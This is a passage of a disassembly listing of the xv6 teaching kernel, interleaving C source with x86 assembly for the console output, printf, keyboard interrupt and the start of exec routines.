80100519: e8 42 3d 00 00 call 80104260 <memset>
8010051e: 89 f1 mov %esi,%ecx
80100520: be 07 00 00 00 mov $0x7,%esi
80100525: e9 59 ff ff ff jmp 80100483 <consputc+0xa3>
panic("pos under/overflow");
8010052a: c7 04 24 45 6e 10 80 movl $0x80106e45,(%esp)
80100531: e8 2a fe ff ff call 80100360 <panic>
if(pos > 0) --pos;
80100536: 85 c9 test %ecx,%ecx
80100538: 8d 79 ff lea -0x1(%ecx),%edi
8010053b: 0f 85 1e ff ff ff jne 8010045f <consputc+0x7f>
80100541: b9 00 80 0b 80 mov $0x800b8000,%ecx
80100546: 31 db xor %ebx,%ebx
80100548: 31 f6 xor %esi,%esi
8010054a: e9 34 ff ff ff jmp 80100483 <consputc+0xa3>
pos += 80 - pos%80;
8010054f: 89 c8 mov %ecx,%eax
80100551: ba 67 66 66 66 mov $0x66666667,%edx
80100556: f7 ea imul %edx
80100558: c1 ea 05 shr $0x5,%edx
8010055b: 8d 04 92 lea (%edx,%edx,4),%eax
8010055e: c1 e0 04 shl $0x4,%eax
80100561: 8d 78 50 lea 0x50(%eax),%edi
80100564: e9 f6 fe ff ff jmp 8010045f <consputc+0x7f>
80100569: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi
80100570 <printint>:
{
80100570: 55 push %ebp
80100571: 89 e5 mov %esp,%ebp
80100573: 57 push %edi
80100574: 56 push %esi
80100575: 89 d6 mov %edx,%esi
80100577: 53 push %ebx
80100578: 83 ec 1c sub $0x1c,%esp
if(sign && (sign = xx < 0))
8010057b: 85 c9 test %ecx,%ecx
8010057d: 74 61 je 801005e0 <printint+0x70>
8010057f: 85 c0 test %eax,%eax
80100581: 79 5d jns 801005e0 <printint+0x70>
x = -xx;
80100583: f7 d8 neg %eax
80100585: bf 01 00 00 00 mov $0x1,%edi
i = 0;
8010058a: 31 c9 xor %ecx,%ecx
8010058c: eb 04 jmp 80100592 <printint+0x22>
8010058e: 66 90 xchg %ax,%ax
buf[i++] = digits[x % base];
80100590: 89 d9 mov %ebx,%ecx
80100592: 31 d2 xor %edx,%edx
80100594: f7 f6 div %esi
80100596: 8d 59 01 lea 0x1(%ecx),%ebx
80100599: 0f b6 92 70 6e 10 80 movzbl -0x7fef9190(%edx),%edx
}while((x /= base) != 0);
801005a0: 85 c0 test %eax,%eax
buf[i++] = digits[x % base];
801005a2: 88 54 1d d7 mov %dl,-0x29(%ebp,%ebx,1)
}while((x /= base) != 0);
801005a6: 75 e8 jne 80100590 <printint+0x20>
if(sign)
801005a8: 85 ff test %edi,%edi
buf[i++] = digits[x % base];
801005aa: 89 d8 mov %ebx,%eax
if(sign)
801005ac: 74 08 je 801005b6 <printint+0x46>
buf[i++] = '-';
801005ae: 8d 59 02 lea 0x2(%ecx),%ebx
801005b1: c6 44 05 d8 2d movb $0x2d,-0x28(%ebp,%eax,1)
while(--i >= 0)
801005b6: 83 eb 01 sub $0x1,%ebx
801005b9: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi
consputc(buf[i]);
801005c0: 0f be 44 1d d8 movsbl -0x28(%ebp,%ebx,1),%eax
while(--i >= 0)
801005c5: 83 eb 01 sub $0x1,%ebx
consputc(buf[i]);
801005c8: e8 13 fe ff ff call 801003e0 <consputc>
while(--i >= 0)
801005cd: 83 fb ff cmp $0xffffffff,%ebx
801005d0: 75 ee jne 801005c0 <printint+0x50>
}
801005d2: 83 c4 1c add $0x1c,%esp
801005d5: 5b pop %ebx
801005d6: 5e pop %esi
801005d7: 5f pop %edi
801005d8: 5d pop %ebp
801005d9: c3 ret
801005da: 8d b6 00 00 00 00 lea 0x0(%esi),%esi
x = xx;
801005e0: 31 ff xor %edi,%edi
801005e2: eb a6 jmp 8010058a <printint+0x1a>
801005e4: 8d b6 00 00 00 00 lea 0x0(%esi),%esi
801005ea: 8d bf 00 00 00 00 lea 0x0(%edi),%edi
801005f0 <consolewrite>:
int
consolewrite(struct inode *ip, char *buf, int n)
{
801005f0: 55 push %ebp
801005f1: 89 e5 mov %esp,%ebp
801005f3: 57 push %edi
801005f4: 56 push %esi
801005f5: 53 push %ebx
801005f6: 83 ec 1c sub $0x1c,%esp
int i;
iunlock(ip);
801005f9: 8b 45 08 mov 0x8(%ebp),%eax
{
801005fc: 8b 75 10 mov 0x10(%ebp),%esi
iunlock(ip);
801005ff: 89 04 24 mov %eax,(%esp)
80100602: e8 69 11 00 00 call 80101770 <iunlock>
acquire(&cons.lock);
80100607: c7 04 24 20 a5 10 80 movl $0x8010a520,(%esp)
8010060e: e8 0d 3b 00 00 call 80104120 <acquire>
80100613: 8b 7d 0c mov 0xc(%ebp),%edi
for(i = 0; i < n; i++)
80100616: 85 f6 test %esi,%esi
80100618: 8d 1c 37 lea (%edi,%esi,1),%ebx
8010061b: 7e 12 jle 8010062f <consolewrite+0x3f>
8010061d: 8d 76 00 lea 0x0(%esi),%esi
consputc(buf[i] & 0xff);
80100620: 0f b6 07 movzbl (%edi),%eax
80100623: 83 c7 01 add $0x1,%edi
80100626: e8 b5 fd ff ff call 801003e0 <consputc>
for(i = 0; i < n; i++)
8010062b: 39 df cmp %ebx,%edi
8010062d: 75 f1 jne 80100620 <consolewrite+0x30>
release(&cons.lock);
8010062f: c7 04 24 20 a5 10 80 movl $0x8010a520,(%esp)
80100636: e8 d5 3b 00 00 call 80104210 <release>
ilock(ip);
8010063b: 8b 45 08 mov 0x8(%ebp),%eax
8010063e: 89 04 24 mov %eax,(%esp)
80100641: e8 4a 10 00 00 call 80101690 <ilock>
return n;
}
80100646: 83 c4 1c add $0x1c,%esp
80100649: 89 f0 mov %esi,%eax
8010064b: 5b pop %ebx
8010064c: 5e pop %esi
8010064d: 5f pop %edi
8010064e: 5d pop %ebp
8010064f: c3 ret
80100650 <cprintf>:
{
80100650: 55 push %ebp
80100651: 89 e5 mov %esp,%ebp
80100653: 57 push %edi
80100654: 56 push %esi
80100655: 53 push %ebx
80100656: 83 ec 1c sub $0x1c,%esp
locking = cons.locking;
80100659: a1 54 a5 10 80 mov 0x8010a554,%eax
if(locking)
8010065e: 85 c0 test %eax,%eax
locking = cons.locking;
80100660: 89 45 e0 mov %eax,-0x20(%ebp)
if(locking)
80100663: 0f 85 27 01 00 00 jne 80100790 <cprintf+0x140>
if (fmt == 0)
80100669: 8b 45 08 mov 0x8(%ebp),%eax
8010066c: 85 c0 test %eax,%eax
8010066e: 89 c1 mov %eax,%ecx
80100670: 0f 84 2b 01 00 00 je 801007a1 <cprintf+0x151>
for(i = 0; (c = fmt[i] & 0xff) != 0; i++){
80100676: 0f b6 00 movzbl (%eax),%eax
80100679: 31 db xor %ebx,%ebx
8010067b: 89 cf mov %ecx,%edi
8010067d: 8d 75 0c lea 0xc(%ebp),%esi
80100680: 85 c0 test %eax,%eax
80100682: 75 4c jne 801006d0 <cprintf+0x80>
80100684: eb 5f jmp 801006e5 <cprintf+0x95>
80100686: 66 90 xchg %ax,%ax
c = fmt[++i] & 0xff;
80100688: 83 c3 01 add $0x1,%ebx
8010068b: 0f b6 14 1f movzbl (%edi,%ebx,1),%edx
if(c == 0)
8010068f: 85 d2 test %edx,%edx
80100691: 74 52 je 801006e5 <cprintf+0x95>
switch(c){
80100693: 83 fa 70 cmp $0x70,%edx
80100696: 74 72 je 8010070a <cprintf+0xba>
80100698: 7f 66 jg 80100700 <cprintf+0xb0>
8010069a: 83 fa 25 cmp $0x25,%edx
8010069d: 8d 76 00 lea 0x0(%esi),%esi
801006a0: 0f 84 a2 00 00 00 je 80100748 <cprintf+0xf8>
801006a6: 83 fa 64 cmp $0x64,%edx
801006a9: 75 7d jne 80100728 <cprintf+0xd8>
printint(*argp++, 10, 1);
801006ab: 8d 46 04 lea 0x4(%esi),%eax
801006ae: b9 01 00 00 00 mov $0x1,%ecx
801006b3: 89 45 e4 mov %eax,-0x1c(%ebp)
801006b6: 8b 06 mov (%esi),%eax
801006b8: ba 0a 00 00 00 mov $0xa,%edx
801006bd: e8 ae fe ff ff call 80100570 <printint>
801006c2: 8b 75 e4 mov -0x1c(%ebp),%esi
for(i = 0; (c = fmt[i] & 0xff) != 0; i++){
801006c5: 83 c3 01 add $0x1,%ebx
801006c8: 0f b6 04 1f movzbl (%edi,%ebx,1),%eax
801006cc: 85 c0 test %eax,%eax
801006ce: 74 15 je 801006e5 <cprintf+0x95>
if(c != '%'){
801006d0: 83 f8 25 cmp $0x25,%eax
801006d3: 74 b3 je 80100688 <cprintf+0x38>
consputc(c);
801006d5: e8 06 fd ff ff call 801003e0 <consputc>
for(i = 0; (c = fmt[i] & 0xff) != 0; i++){
801006da: 83 c3 01 add $0x1,%ebx
801006dd: 0f b6 04 1f movzbl (%edi,%ebx,1),%eax
801006e1: 85 c0 test %eax,%eax
801006e3: 75 eb jne 801006d0 <cprintf+0x80>
if(locking)
801006e5: 8b 45 e0 mov -0x20(%ebp),%eax
801006e8: 85 c0 test %eax,%eax
801006ea: 74 0c je 801006f8 <cprintf+0xa8>
release(&cons.lock);
801006ec: c7 04 24 20 a5 10 80 movl $0x8010a520,(%esp)
801006f3: e8 18 3b 00 00 call 80104210 <release>
}
801006f8: 83 c4 1c add $0x1c,%esp
801006fb: 5b pop %ebx
801006fc: 5e pop %esi
801006fd: 5f pop %edi
801006fe: 5d pop %ebp
801006ff: c3 ret
switch(c){
80100700: 83 fa 73 cmp $0x73,%edx
80100703: 74 53 je 80100758 <cprintf+0x108>
80100705: 83 fa 78 cmp $0x78,%edx
80100708: 75 1e jne 80100728 <cprintf+0xd8>
printint(*argp++, 16, 0);
8010070a: 8d 46 04 lea 0x4(%esi),%eax
8010070d: 31 c9 xor %ecx,%ecx
8010070f: 89 45 e4 mov %eax,-0x1c(%ebp)
80100712: 8b 06 mov (%esi),%eax
80100714: ba 10 00 00 00 mov $0x10,%edx
80100719: e8 52 fe ff ff call 80100570 <printint>
8010071e: 8b 75 e4 mov -0x1c(%ebp),%esi
break;
80100721: eb a2 jmp 801006c5 <cprintf+0x75>
80100723: 90 nop
80100724: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
consputc('%');
80100728: b8 25 00 00 00 mov $0x25,%eax
8010072d: 89 55 e4 mov %edx,-0x1c(%ebp)
80100730: e8 ab fc ff ff call 801003e0 <consputc>
consputc(c);
80100735: 8b 55 e4 mov -0x1c(%ebp),%edx
80100738: 89 d0 mov %edx,%eax
8010073a: e8 a1 fc ff ff call 801003e0 <consputc>
8010073f: eb 99 jmp 801006da <cprintf+0x8a>
80100741: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi
consputc('%');
80100748: b8 25 00 00 00 mov $0x25,%eax
8010074d: e8 8e fc ff ff call 801003e0 <consputc>
break;
80100752: e9 6e ff ff ff jmp 801006c5 <cprintf+0x75>
80100757: 90 nop
if((s = (char*)*argp++) == 0)
80100758: 8d 46 04 lea 0x4(%esi),%eax
8010075b: 8b 36 mov (%esi),%esi
8010075d: 89 45 e4 mov %eax,-0x1c(%ebp)
s = "(null)";
80100760: b8 58 6e 10 80 mov $0x80106e58,%eax
80100765: 85 f6 test %esi,%esi
80100767: 0f 44 f0 cmove %eax,%esi
for(; *s; s++)
8010076a: 0f be 06 movsbl (%esi),%eax
8010076d: 84 c0 test %al,%al
8010076f: 74 16 je 80100787 <cprintf+0x137>
80100771: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi
80100778: 83 c6 01 add $0x1,%esi
consputc(*s);
8010077b: e8 60 fc ff ff call 801003e0 <consputc>
for(; *s; s++)
80100780: 0f be 06 movsbl (%esi),%eax
80100783: 84 c0 test %al,%al
80100785: 75 f1 jne 80100778 <cprintf+0x128>
if((s = (char*)*argp++) == 0)
80100787: 8b 75 e4 mov -0x1c(%ebp),%esi
8010078a: e9 36 ff ff ff jmp 801006c5 <cprintf+0x75>
8010078f: 90 nop
acquire(&cons.lock);
80100790: c7 04 24 20 a5 10 80 movl $0x8010a520,(%esp)
80100797: e8 84 39 00 00 call 80104120 <acquire>
8010079c: e9 c8 fe ff ff jmp 80100669 <cprintf+0x19>
panic("null fmt");
801007a1: c7 04 24 5f 6e 10 80 movl $0x80106e5f,(%esp)
801007a8: e8 b3 fb ff ff call 80100360 <panic>
801007ad: 8d 76 00 lea 0x0(%esi),%esi
801007b0 <consoleintr>:
{
801007b0: 55 push %ebp
801007b1: 89 e5 mov %esp,%ebp
801007b3: 57 push %edi
801007b4: 56 push %esi
int c, doprocdump = 0;
801007b5: 31 f6 xor %esi,%esi
{
801007b7: 53 push %ebx
801007b8: 83 ec 1c sub $0x1c,%esp
801007bb: 8b 5d 08 mov 0x8(%ebp),%ebx
acquire(&cons.lock);
801007be: c7 04 24 20 a5 10 80 movl $0x8010a520,(%esp)
801007c5: e8 56 39 00 00 call 80104120 <acquire>
801007ca: 8d b6 00 00 00 00 lea 0x0(%esi),%esi
while((c = getc()) >= 0){
801007d0: ff d3 call *%ebx
801007d2: 85 c0 test %eax,%eax
801007d4: 89 c7 mov %eax,%edi
801007d6: 78 48 js 80100820 <consoleintr+0x70>
switch(c){
801007d8: 83 ff 10 cmp $0x10,%edi
801007db: 0f 84 2f 01 00 00 je 80100910 <consoleintr+0x160>
801007e1: 7e 5d jle 80100840 <consoleintr+0x90>
801007e3: 83 ff 15 cmp $0x15,%edi
801007e6: 0f 84 d4 00 00 00 je 801008c0 <consoleintr+0x110>
801007ec: 83 ff 7f cmp $0x7f,%edi
801007ef: 90 nop
801007f0: 75 53 jne 80100845 <consoleintr+0x95>
if(input.e != input.w){
801007f2: a1 a8 ff 10 80 mov 0x8010ffa8,%eax
801007f7: 3b 05 a4 ff 10 80 cmp 0x8010ffa4,%eax
801007fd: 74 d1 je 801007d0 <consoleintr+0x20>
input.e--;
801007ff: 83 e8 01 sub $0x1,%eax
80100802: a3 a8 ff 10 80 mov %eax,0x8010ffa8
consputc(BACKSPACE);
80100807: b8 00 01 00 00 mov $0x100,%eax
8010080c: e8 cf fb ff ff call 801003e0 <consputc>
while((c = getc()) >= 0){
80100811: ff d3 call *%ebx
80100813: 85 c0 test %eax,%eax
80100815: 89 c7 mov %eax,%edi
80100817: 79 bf jns 801007d8 <consoleintr+0x28>
80100819: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi
release(&cons.lock);
80100820: c7 04 24 20 a5 10 80 movl $0x8010a520,(%esp)
80100827: e8 e4 39 00 00 call 80104210 <release>
if(doprocdump) {
8010082c: 85 f6 test %esi,%esi
8010082e: 0f 85 ec 00 00 00 jne 80100920 <consoleintr+0x170>
}
80100834: 83 c4 1c add $0x1c,%esp
80100837: 5b pop %ebx
80100838: 5e pop %esi
80100839: 5f pop %edi
8010083a: 5d pop %ebp
8010083b: c3 ret
8010083c: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
switch(c){
80100840: 83 ff 08 cmp $0x8,%edi
80100843: 74 ad je 801007f2 <consoleintr+0x42>
if(c != 0 && input.e-input.r < INPUT_BUF){
80100845: 85 ff test %edi,%edi
80100847: 74 87 je 801007d0 <consoleintr+0x20>
80100849: a1 a8 ff 10 80 mov 0x8010ffa8,%eax
8010084e: 89 c2 mov %eax,%edx
80100850: 2b 15 a0 ff 10 80 sub 0x8010ffa0,%edx
80100856: 83 fa 7f cmp $0x7f,%edx
80100859: 0f 87 71 ff ff ff ja 801007d0 <consoleintr+0x20>
input.buf[input.e++ % INPUT_BUF] = c;
8010085f: 8d 50 01 lea 0x1(%eax),%edx
80100862: 83 e0 7f and $0x7f,%eax
c = (c == '\r') ? '\n' : c;
80100865: 83 ff 0d cmp $0xd,%edi
input.buf[input.e++ % INPUT_BUF] = c;
80100868: 89 15 a8 ff 10 80 mov %edx,0x8010ffa8
c = (c == '\r') ? '\n' : c;
8010086e: 0f 84 b8 00 00 00 je 8010092c <consoleintr+0x17c>
input.buf[input.e++ % INPUT_BUF] = c;
80100874: 89 f9 mov %edi,%ecx
80100876: 88 88 20 ff 10 80 mov %cl,-0x7fef00e0(%eax)
consputc(c);
8010087c: 89 f8 mov %edi,%eax
8010087e: e8 5d fb ff ff call 801003e0 <consputc>
if(c == '\n' || c == C('D') || input.e == input.r+INPUT_BUF){
80100883: 83 ff 04 cmp $0x4,%edi
80100886: a1 a8 ff 10 80 mov 0x8010ffa8,%eax
8010088b: 74 19 je 801008a6 <consoleintr+0xf6>
8010088d: 83 ff 0a cmp $0xa,%edi
80100890: 74 14 je 801008a6 <consoleintr+0xf6>
80100892: 8b 0d a0 ff 10 80 mov 0x8010ffa0,%ecx
80100898: 8d 91 80 00 00 00 lea 0x80(%ecx),%edx
8010089e: 39 d0 cmp %edx,%eax
801008a0: 0f 85 2a ff ff ff jne 801007d0 <consoleintr+0x20>
wakeup(&input.r);
801008a6: c7 04 24 a0 ff 10 80 movl $0x8010ffa0,(%esp)
input.w = input.e;
801008ad: a3 a4 ff 10 80 mov %eax,0x8010ffa4
wakeup(&input.r);
801008b2: e8 b9 34 00 00 call 80103d70 <wakeup>
801008b7: e9 14 ff ff ff jmp 801007d0 <consoleintr+0x20>
801008bc: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
while(input.e != input.w &&
801008c0: a1 a8 ff 10 80 mov 0x8010ffa8,%eax
801008c5: 3b 05 a4 ff 10 80 cmp 0x8010ffa4,%eax
801008cb: 75 2b jne 801008f8 <consoleintr+0x148>
801008cd: e9 fe fe ff ff jmp 801007d0 <consoleintr+0x20>
801008d2: 8d b6 00 00 00 00 lea 0x0(%esi),%esi
input.e--;
801008d8: a3 a8 ff 10 80 mov %eax,0x8010ffa8
consputc(BACKSPACE);
801008dd: b8 00 01 00 00 mov $0x100,%eax
801008e2: e8 f9 fa ff ff call 801003e0 <consputc>
while(input.e != input.w &&
801008e7: a1 a8 ff 10 80 mov 0x8010ffa8,%eax
801008ec: 3b 05 a4 ff 10 80 cmp 0x8010ffa4,%eax
801008f2: 0f 84 d8 fe ff ff je 801007d0 <consoleintr+0x20>
input.buf[(input.e-1) % INPUT_BUF] != '\n'){
801008f8: 83 e8 01 sub $0x1,%eax
801008fb: 89 c2 mov %eax,%edx
801008fd: 83 e2 7f and $0x7f,%edx
while(input.e != input.w &&
80100900: 80 ba 20 ff 10 80 0a cmpb $0xa,-0x7fef00e0(%edx)
80100907: 75 cf jne 801008d8 <consoleintr+0x128>
80100909: e9 c2 fe ff ff jmp 801007d0 <consoleintr+0x20>
8010090e: 66 90 xchg %ax,%ax
doprocdump = 1;
80100910: be 01 00 00 00 mov $0x1,%esi
80100915: e9 b6 fe ff ff jmp 801007d0 <consoleintr+0x20>
8010091a: 8d b6 00 00 00 00 lea 0x0(%esi),%esi
}
80100920: 83 c4 1c add $0x1c,%esp
80100923: 5b pop %ebx
80100924: 5e pop %esi
80100925: 5f pop %edi
80100926: 5d pop %ebp
procdump(); // now call procdump() wo. cons.lock held
80100927: e9 24 35 00 00 jmp 80103e50 <procdump>
input.buf[input.e++ % INPUT_BUF] = c;
8010092c: c6 80 20 ff 10 80 0a movb $0xa,-0x7fef00e0(%eax)
consputc(c);
80100933: b8 0a 00 00 00 mov $0xa,%eax
80100938: e8 a3 fa ff ff call 801003e0 <consputc>
8010093d: a1 a8 ff 10 80 mov 0x8010ffa8,%eax
80100942: e9 5f ff ff ff jmp 801008a6 <consoleintr+0xf6>
80100947: 89 f6 mov %esi,%esi
80100949: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi
80100950 <consoleinit>:
void
consoleinit(void)
{
80100950: 55 push %ebp
80100951: 89 e5 mov %esp,%ebp
80100953: 83 ec 18 sub $0x18,%esp
initlock(&cons.lock, "console");
80100956: c7 44 24 04 68 6e 10 movl $0x80106e68,0x4(%esp)
8010095d: 80
8010095e: c7 04 24 20 a5 10 80 movl $0x8010a520,(%esp)
80100965: e8 c6 36 00 00 call 80104030 <initlock>
devsw[CONSOLE].write = consolewrite;
devsw[CONSOLE].read = consoleread;
cons.locking = 1;
ioapicenable(IRQ_KBD, 0);
8010096a: c7 44 24 04 00 00 00 movl $0x0,0x4(%esp)
80100971: 00
80100972: c7 04 24 01 00 00 00 movl $0x1,(%esp)
devsw[CONSOLE].write = consolewrite;
80100979: c7 05 6c 09 11 80 f0 movl $0x801005f0,0x8011096c
80100980: 05 10 80
devsw[CONSOLE].read = consoleread;
80100983: c7 05 68 09 11 80 70 movl $0x80100270,0x80110968
8010098a: 02 10 80
cons.locking = 1;
8010098d: c7 05 54 a5 10 80 01 movl $0x1,0x8010a554
80100994: 00 00 00
ioapicenable(IRQ_KBD, 0);
80100997: e8 f4 18 00 00 call 80102290 <ioapicenable>
}
8010099c: c9 leave
8010099d: c3 ret
8010099e: 66 90 xchg %ax,%ax
801009a0 <exec>:
#include "x86.h"
#include "elf.h"
int
exec(char *path, char **argv)
{
801009a0: 55 push %ebp
801009a1: 89 e5 mov %esp,%ebp
801009a3: 57 push %edi
801009a4: 56 push %esi
801009a5: 53 push %ebx
801009a6: 81 ec 2c 01 00 00 sub $0x12c,%esp
uint argc, sz, sp, ustack[3+MAXARG+1];
struct elfhdr elf;
struct inode *ip;
struct proghdr ph;
pde_t *pgdir, *oldpgdir;
struct proc *curproc = myproc();
801009ac: e8 cf 2c 00 00 call 80103680 <myproc>
801009b1: 89 85 f4 fe ff ff mov %eax,-0x10c(%ebp)
begin_op();
801009b7: e8 34 21 00 00 call 80102af0 <begin_op>
if((ip = namei(path)) == 0){
801009bc: 8b 45 08 mov 0x8(%ebp),%eax
801009bf: 89 04 24 mov %eax,(%esp)
801009c2: e8 19 15 00 00 call 80101ee0 <namei>
801009c7: 85 c0 test %eax,%eax
801009c9: 89 c3 mov %eax,%ebx
801009cb: 0f 84 3f 02 00 00 je 80100c10 <exec+0x270>
end_op();
cprintf("exec: fail\n");
return -1;
}
ilock(ip);
801009d1: 89 04 24 mov %eax,(%esp)
801009d4: e8 b7 0c 00 00 call 80101690 <ilock>
pgdir = 0;
// Check ELF header
if(readi(ip, (char*)&elf, 0, sizeof(elf)) != sizeof(elf))
801009d9: 8d 85 24 ff ff ff lea -0xdc(%ebp),%eax
801009df: c7 44 24 0c 34 00 00 movl $0x34,0xc(%esp)
801009e6: 00
801009e7: c7 44 24 08 00 00 00 movl $0x0,0x8(%esp)
801009ee: 00
801009ef: 89 44 24 04 mov %eax,0x4(%esp)
801009f3: 89 1c 24 mov %ebx,(%esp)
801009f6: e8 45 0f 00 00 call 80101940 <readi>
801009fb: 83 f8 34 cmp $0x34,%eax
801009fe: 74 20 je 80100a20 <exec+0x80>
bad:
if(pgdir)
freevm(pgdir);
if(ip){
iunlockput(ip);
80100a00: 89 1c 24 mov %ebx,(%esp)
80100a03: e8 e8 0e 00 00 call 801018f0 <iunlockput>
end_op();
80100a08: e8 53 21 00 00 call 80102b60 <end_op>
}
return -1;
80100a0d: b8 ff ff ff ff mov $0xffffffff,%eax
}
80100a12: 81 c4 2c 01 00 00 add $0x12c,%esp
80100a18: 5b pop %ebx
80100a19: 5e pop %esi
80100a1a: 5f pop %edi
80100a1b: 5d pop %ebp
80100a1c: c3 ret
80100a1d: 8d 76 00 lea 0x0(%esi),%esi
if(elf.magic != ELF_MAGIC)
80100a20: 81 bd 24 ff ff ff 7f cmpl $0x464c457f,-0xdc(%ebp)
80100a27: 45 4c 46
80100a2a: 75 d4 jne 80100a00 <exec+0x60>
if((pgdir = setupkvm()) == 0)
80100a2c: e8 ef 5f 00 00 call 80106a20 <setupkvm>
80100a31: 85 c0 test %eax,%eax
80100a33: 89 85 f0 fe ff ff mov %eax,-0x110(%ebp)
80100a39: 74 c5 je 80100a00 <exec+0x60>
for(i=0, off=elf.phoff; i<elf.phnum; i++, off+=sizeof(ph)){
80100a3b: 66 83 bd 50 ff ff ff cmpw $0x0,-0xb0(%ebp)
80100a42: 00
80100a43: 8b b5 40 ff ff ff mov -0xc0(%ebp),%esi
sz = 0;
80100a49: c7 85 ec fe ff ff 00 movl $0x0,-0x114(%ebp)
80100a50: 00 00 00
for(i=0, off=elf.phoff; i<elf.phnum; i++, off+=sizeof(ph)){
80100a53: 0f 84 da 00 00 00 je 80100b33 <exec+0x193>
80100a59: 31 ff xor %edi,%edi
80100a5b: eb 18 jmp 80100a75 <exec+0xd5>
80100a5d: 8d 76 00 lea 0x0(%esi),%esi
80100a60: 0f b7 85 50 ff ff ff movzwl -0xb0(%ebp),%eax
80100a67: 83 c7 01 add $0x1,%edi
80100a6a: 83 c6 20 add $0x20,%esi
80100a6d: 39 f8 cmp %edi,%eax
80100a6f: 0f 8e be 00 00 00 jle 80100b33 <exec+0x193>
if(readi(ip, (char*)&ph, off, sizeof(ph)) != sizeof(ph))
80100a75: 8d 85 04 ff ff ff lea -0xfc(%ebp),%eax
80100a7b: c7 44 24 0c 20 00 00 movl $0x20,0xc(%esp)
80100a82: 00
80100a83: 89 74 24 08 mov %esi,0x8(%esp)
80100a87: 89 44 24 04 mov %eax,0x4(%esp)
80100a8b: 89 1c 24 mov %ebx,(%esp)
80100a8e: e8 ad 0e 00 00 call 80101940 <readi>
80100a93: 83 f8 20 cmp $0x20,%eax
80100a96: 0f 85 84 00 00 00 jne 80100b20 <exec+0x180>
if(ph.type != ELF_PROG_LOAD)
80100a9c: 83 bd 04 ff ff ff 01 cmpl $0x1,-0xfc(%ebp)
80100aa3: 75 bb jne 80100a60 <exec+0xc0>
if(ph.memsz < ph.filesz)
80100aa5: 8b 85 18 ff ff ff mov -0xe8(%ebp),%eax
80100aab: 3b 85 14 ff ff ff cmp -0xec(%ebp),%eax
80100ab1: 72 6d jb 80100b20 <exec+0x180>
if(ph.vaddr + ph.memsz < ph.vaddr)
80100ab3: 03 85 0c ff ff ff add -0xf4(%ebp),%eax
80100ab9: 72 65 jb 80100b20 <exec+0x180>
if((sz = allocuvm(pgdir, sz, ph.vaddr + ph.memsz)) == 0)
80100abb: 89 44 24 08 mov %eax,0x8(%esp)
80100abf: 8b 85 ec fe ff ff mov -0x114(%ebp),%eax
80100ac5: 89 44 24 04 mov %eax,0x4(%esp)
80100ac9: 8b 85 f0 fe ff ff mov -0x110(%ebp),%eax
80100acf: 89 04 24 mov %eax,(%esp)
80100ad2: e8 a9 5d 00 00 call 80106880 <allocuvm>
80100ad7: 85 c0 test %eax,%eax
80100ad9: 89 85 ec fe ff ff mov %eax,-0x114(%ebp)
80100adf: 74 3f je 80100b20 <exec+0x180>
if(ph.vaddr % PGSIZE != 0)
80100ae1: 8b 85 0c ff ff ff mov -0xf4(%ebp),%eax
80100ae7: a9 ff 0f 00 00 test $0xfff,%eax
80100aec: 75 32 jne 80100b20 <exec+0x180>
if(loaduvm(pgdir, (char*)ph.vaddr, ip, ph.off, ph.filesz) < 0)
80100aee: 8b 95 14 ff ff ff mov -0xec(%ebp),%edx
80100af4: 89 44 24 04 mov %eax,0x4(%esp)
80100af8: 8b 85 f0 fe ff ff mov -0x110(%ebp),%eax
80100afe: 89 5c 24 08 mov %ebx,0x8(%esp)
80100b02: 89 54 24 10 mov %edx,0x10(%esp)
80100b06: 8b 95 08 ff ff ff mov -0xf8(%ebp),%edx
80100b0c: 89 04 24 mov %eax,(%esp)
80100b0f: 89 54 24 0c mov %edx,0xc(%esp)
80100b13: e8 a8 5c 00 00 call 801067c0 <loaduvm>
80100b18: 85 c0 test %eax,%eax
80100b1a: 0f 89 40 ff ff ff jns 80100a60 <exec+0xc0>
freevm(pgdir);
80100b20: 8b 85 f0 fe ff ff mov -0x110(%ebp),%eax
80100b26: 89 04 24 mov %eax,(%esp)
80100b29: e8 72 5e 00 00 call 801069a0 <freevm>
80100b2e: e9 cd fe ff ff jmp 80100a00 <exec+0x60>
iunlockput(ip);
80100b33: 89 1c 24 mov %ebx,(%esp)
80100b36: e8 b5 0d 00 00 call 801018f0 <iunlockput>
80100b3b: 90 nop
80100b3c: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
end_op();
80100b40: e8 1b 20 00 00 call 80102b60 <end_op>
if((sp = allocuvm(pgdir, PGROUNDDOWN(KERNBASE - 1 - PGSIZE), (KERNBASE - 1))) == 0)
80100b45: 8b 85 f0 fe ff ff mov -0x110(%ebp),%eax
80100b4b: c7 44 24 08 ff ff ff movl $0x7fffffff,0x8(%esp)
80100b52: 7f
80100b53: c7 44 24 04 00 e0 ff movl $0x7fffe000,0x4(%esp)
80100b5a: 7f
80100b5b: 89 04 24 mov %eax,(%esp)
80100b5e: e8 1d 5d 00 00 call 80106880 <allocuvm>
80100b63: 85 c0 test %eax,%eax
80100b65: 89 c3 mov %eax,%ebx
80100b67: 0f 84 8b 00 00 00 je 80100bf8 <exec+0x258>
for(argc = 0; argv[argc]; argc++) {
80100b6d: 8b 45 0c mov 0xc(%ebp),%eax
80100b70: 8b 00 mov (%eax),%eax
80100b72: 85 c0 test %eax,%eax
80100b74: 0f 84 8f 01 00 00 je 80100d09 <exec+0x369>
80100b7a: 8b 4d 0c mov 0xc(%ebp),%ecx
80100b7d: 31 d2 xor %edx,%edx
80100b7f: 8d 71 04 lea 0x4(%ecx),%esi
80100b82: 89 cf mov %ecx,%edi
80100b84: 89 f1 mov %esi,%ecx
80100b86: 89 d6 mov %edx,%esi
80100b88: 89 ca mov %ecx,%edx
80100b8a: eb 2a jmp 80100bb6 <exec+0x216>
80100b8c: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
80100b90: 8b 95 e8 fe ff ff mov -0x118(%ebp),%edx
ustack[3+argc] = sp;
80100b96: 8d 8d 58 ff ff ff lea -0xa8(%ebp),%ecx
80100b9c: 89 9c b5 64 ff ff ff mov %ebx,-0x9c(%ebp,%esi,4)
for(argc = 0; argv[argc]; argc++) {
80100ba3: 83 c6 01 add $0x1,%esi
